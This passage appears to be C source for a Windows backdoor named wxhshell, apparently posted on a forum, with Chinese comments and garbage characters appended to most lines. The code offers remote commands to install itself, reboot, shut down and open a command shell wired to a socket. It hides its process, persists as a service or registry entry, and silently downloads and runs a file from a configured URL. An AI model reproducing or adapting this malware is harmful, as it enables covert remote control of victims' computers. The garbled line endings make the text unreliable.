  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Q!b%DIa$  
  } (N;Jw^C@  
  else { ejgg.G ^  
^+`vh0TPQ  
    switch(cmd[0]) { ,z1# |Y  
  MF 5w.@62X  
  // 帮助 ^l$(-#'y  
  case '?': { yp@mxI@1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O b8[P=  
    break; $nn~K  
  } <g*rTqT'  
  // 安装 M|n)LyL  
  case 'i': { %M}zi'qQ?  
    if(Install()) rFx2 S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /4_}wi\  
    else *N>Qj-KAM_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LWVO%@)w  
    break; wW%I < M  
    } `W]a @\EYA  
  // 卸载 T{uktIO/  
  case 'r': { tH_# q"@)  
    if(Uninstall()) IE_@:]K}Ja  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v/m`rc]e  
    else v~jN,f*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~%<PEl|  
    break; xR_]^Get  
    } >E]*5jqU  
  // 显示 wxhshell 所在路径 ]m4LY.SQ  
  case 'p': { *r-Bt1  
    char svExeFile[MAX_PATH]; } \823 U %  
    strcpy(svExeFile,"\n\r"); an5Ss@<4AA  
      strcat(svExeFile,ExeFile); 4aV3x&6X  
        send(wsh,svExeFile,strlen(svExeFile),0); *s%s|/  
    break; 6,@M0CX  
    } G!rcY5!J  
  // 重启 3\4Cg()  
  case 'b': { c'G\AbUVjE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]6:5<NW  
    if(Boot(REBOOT)) Ce:R p?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8ZIv:nO$  
    else { 9txZ6/  
    closesocket(wsh); BbU&e z8P  
    ExitThread(0); %1=W#jz  
    } I?fE=2}9  
    break; kBONP^xI  
    } wR;l"*j  
  // 关机 Z(<ul<?r  
  case 'd': { gIRCJ=e[b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?BLOc;I&a  
    if(Boot(SHUTDOWN)) 3R{-\ZMd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qnA:[H;F  
    else { JHQ8o5bEQp  
    closesocket(wsh); ?DRC! 9o^  
    ExitThread(0); Fx@ {]  
    } kqyMrZ#  
    break; VLO>{"{'  
    } w(G(Q>GI  
  // 获取shell .H>Rqikj  
  case 's': { {$EXI]f  
    CmdShell(wsh); l,X;<&-[  
    closesocket(wsh); t]` 2f3UO  
    ExitThread(0); TtvS|09p;  
    break; a>kD G <.A  
  } 1z`,*eD7  
  // 退出 $bo^UYZ6  
  case 'x': { pP r<8tm[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {10ms_s  
    CloseIt(wsh); tS9m8(Hr%Q  
    break; 1y@-  
    } H,I}R  
  // 离开 :D,YR(])  
  case 'q': { ew"Fr1UGYZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7&QVw(:)M  
    closesocket(wsh); uqyf3bK  
    WSACleanup(); ry T8*}o  
    exit(1); n (|>7  
    break; q-RGplx  
        } |4c==7.  
  } e56#Qb@$\  
  } ((5zwD  
XMdc n,  
  // 提示信息 wiGwN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]lo1Kw  
} dL\8^L  
  } Ax%BnkU  
NV gLq@F  
  return; ~mp$P+M(%p  
} 3(&.[o Z  
K]u|V0c  
// shell模块句柄 Lg?'1dg  
int CmdShell(SOCKET sock) ~h@tezF  
{ U<t-LF3  
STARTUPINFO si; 5_`}$"<~  
ZeroMemory(&si,sizeof(si)); vq s~a7E-P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c]]F`B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '-vy Q^  
PROCESS_INFORMATION ProcessInfo; S3_4i;K\  
char cmdline[]="cmd"; q>[% C5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \PFx# :-c  
  return 0; O)Qz$  
} @( t:E`8  
z(WpOD   
// 自身启动模式 e ?YbG.(E9  
int StartFromService(void) y#0w\/<  
{ j[fQs,efK  
typedef struct 3wE8y&  
{ -b$OHFL  
  DWORD ExitStatus; AH`15k_i  
  DWORD PebBaseAddress; </X"*G't  
  DWORD AffinityMask; $imx-H`|  
  DWORD BasePriority; c{Kl?0#[  
  ULONG UniqueProcessId;  (2li:1j  
  ULONG InheritedFromUniqueProcessId; nADd,|xD3  
}   PROCESS_BASIC_INFORMATION; hkJZqUA  
vo$66A  
PROCNTQSIP NtQueryInformationProcess; /4?`F} 7)  
Q7r,5w& cm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DSC4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TJpv"V  
3~Ln:4[6ID  
  HANDLE             hProcess; {H V,2-z  
  PROCESS_BASIC_INFORMATION pbi; C6w{"[Wv=X  
/6zpVkV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 50&F#v%YB  
  if(NULL == hInst ) return 0; b0X[x{k"  
ra>`J_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qfu2}qUX~%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p]&Q`oh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CK(ev*@\D,  
|esjhf}H>v  
  if (!NtQueryInformationProcess) return 0; fO^6q1a  
u`@f ~QP0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zfb _ )  
  if(!hProcess) return 0; <gLtX[v!CL  
05B+WJ1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m;f?}z_\$  
}qhK.e  
  CloseHandle(hProcess); 5$U>M  
YSo7~^1W"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #&83;uys  
if(hProcess==NULL) return 0; .,Qnn}:l  
^gzNP#A<'o  
HMODULE hMod; "PaGDhS  
char procName[255]; ]Rh( =bg  
unsigned long cbNeeded; &|}IBu:T  
L_"(A #H:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T''+zk  
#<Nvy9  
  CloseHandle(hProcess); cl{W]4*$  
1:zu$|%7  
if(strstr(procName,"services")) return 1; // 以服务启动 ;Ia1L{472m  
=zeLs0s;  
  return 0; // 注册表启动 z L'IN)7MU  
} <C%-IZv$  
\.P}`Bpa  
// 主模块 %8CT -mQ  
int StartWxhshell(LPSTR lpCmdLine) sLdUrD%  
{ 4>VZk^%b#  
  SOCKET wsl; 1L8ULxi_?]  
BOOL val=TRUE; %K'*P56  
  int port=0; NcBe|qxQ  
  struct sockaddr_in door; IXvz&4VD  
' P`p.5nH  
  if(wscfg.ws_autoins) Install(); Xm:=jQn  
C6UMc} 9h  
port=atoi(lpCmdLine); ?w37vsN  
'$h @  
if(port<=0) port=wscfg.ws_port; D4Y!,7WEVt  
CKt|c!3 7  
  WSADATA data; U@J/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BX(d"z b<  
? ZHE8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?h)3S7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )^f9[5ee  
  door.sin_family = AF_INET; %}MA5 t]o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;%7XU~<a  
  door.sin_port = htons(port); QHs:=i~VH  
&1E~ \8U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MIlCUk  
closesocket(wsl); XDdcq]*|  
return 1; &lPBqw  
} Kwl qi]~  
@y0bU*v7  
  if(listen(wsl,2) == INVALID_SOCKET) { E[3FdX8  
closesocket(wsl); Mj B< \g>  
return 1; Dg>'5`&  
} $wYuH9(  
  Wxhshell(wsl); X!rQ@F3  
  WSACleanup(); 8jjk?PUD8  
'!^E92  
return 0; N _~KZQ11^  
sb|3|J6=  
} q"+ q  
nKjeH@&#  
// 以NT服务方式启动 \gp,Txueb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ()C^ta_]  
{ Z0"&  
DWORD   status = 0; n `m_S  
  DWORD   specificError = 0xfffffff; -':"6\W  
%kZ~xbY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1(?CNW[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ! [|vx!p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J[<pZ [  
  serviceStatus.dwWin32ExitCode     = 0; k?["F%)I  
  serviceStatus.dwServiceSpecificExitCode = 0; ^\ vfos  
  serviceStatus.dwCheckPoint       = 0; V+=*2?1  
  serviceStatus.dwWaitHint       = 0; :!I)r$  
D]pK=247  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Tw`c6^%^y  
  if (hServiceStatusHandle==0) return; tB,.  
T6R7,Vt'v  
status = GetLastError(); 5mna7 BCEb  
  if (status!=NO_ERROR) `rz`3:ZH  
{ XW UvP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a(}VA|l  
    serviceStatus.dwCheckPoint       = 0; A]Q1&qM%  
    serviceStatus.dwWaitHint       = 0; 6+Wr6'kuH  
    serviceStatus.dwWin32ExitCode     = status; B:3+',i1  
    serviceStatus.dwServiceSpecificExitCode = specificError; Sv7>IVC?@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 23}BW_m  
    return; vh|Tb5W<  
  } [+;FV!M6  
'R4>CZ%jV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W(uP`M%][0  
  serviceStatus.dwCheckPoint       = 0; Y!Uu173  
  serviceStatus.dwWaitHint       = 0; jiA5oX^g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C.yY8?|  
} "pSH!0Ap\  
943I:, B  
// 处理NT服务事件,比如:启动、停止 %rpR-}j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,+ns {ppn  
{ ~K5Cr  
switch(fdwControl) QL)>/%yU  
{ ?ID* /u|X  
case SERVICE_CONTROL_STOP: !X5o7b)  
  serviceStatus.dwWin32ExitCode = 0; 6}VUD -}B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xa87xX=a  
  serviceStatus.dwCheckPoint   = 0; j~,h )C/ v  
  serviceStatus.dwWaitHint     = 0; *.kj]BoO  
  { to99 _2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8_xnWMOe  
  } eaV3) uP  
  return; 98ca[.ui  
case SERVICE_CONTROL_PAUSE: R&6n?g6@/V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *'Z-OY<V  
  break; O24Jj\"  
case SERVICE_CONTROL_CONTINUE: GN\8![J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "DVt3E  
  break; f!5F]qP>-  
case SERVICE_CONTROL_INTERROGATE: Y.DwtfE  
  break; mWNR(()v  
}; |'ZN!2u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0-*Z<cu%l  
} 9aTL22U?  
E9^(0\Z I  
// 标准应用程序主函数 .W!tveX8-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?V#Gx>\  
{  %)pP[[h  
Hab!qWK`  
// 获取操作系统版本 OZG0AX+=#  
OsIsNt=GetOsVer(); 66oK3%[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zLh Fbyn(  
{J{1`@  
  // 从命令行安装 ;!'qtw"CB  
  if(strpbrk(lpCmdLine,"iI")) Install(); m'd^?Qc  
LFCTr/,  
  // 下载执行文件 2bWUa~%B  
if(wscfg.ws_downexe) { -r!42`S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7nm}fT z7  
  WinExec(wscfg.ws_filenam,SW_HIDE); &kb\,mQ  
} Q`N18I3  
$9G3LgcS  
if(!OsIsNt) { O'fk&&l  
// 如果时win9x,隐藏进程并且设置为注册表启动 >W'j9+Va  
HideProc(); /4yOs@#  
StartWxhshell(lpCmdLine); . =&Jo9  
} *%3oyWwCd  
else HC J;&C73&  
  if(StartFromService()) 5!~!j "q  
  // 以服务方式启动 S0F@#mSQ?  
  StartServiceCtrlDispatcher(DispatchTable); fVYiwE=F  
else d5Qd'  
  // 普通方式启动 P2On k l  
  StartWxhshell(lpCmdLine); kg:l:C)Tq  
NW)M?f+6  
return 0; rw&y,%2  
}
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只看该作者 1 发表于: 2006-10-10
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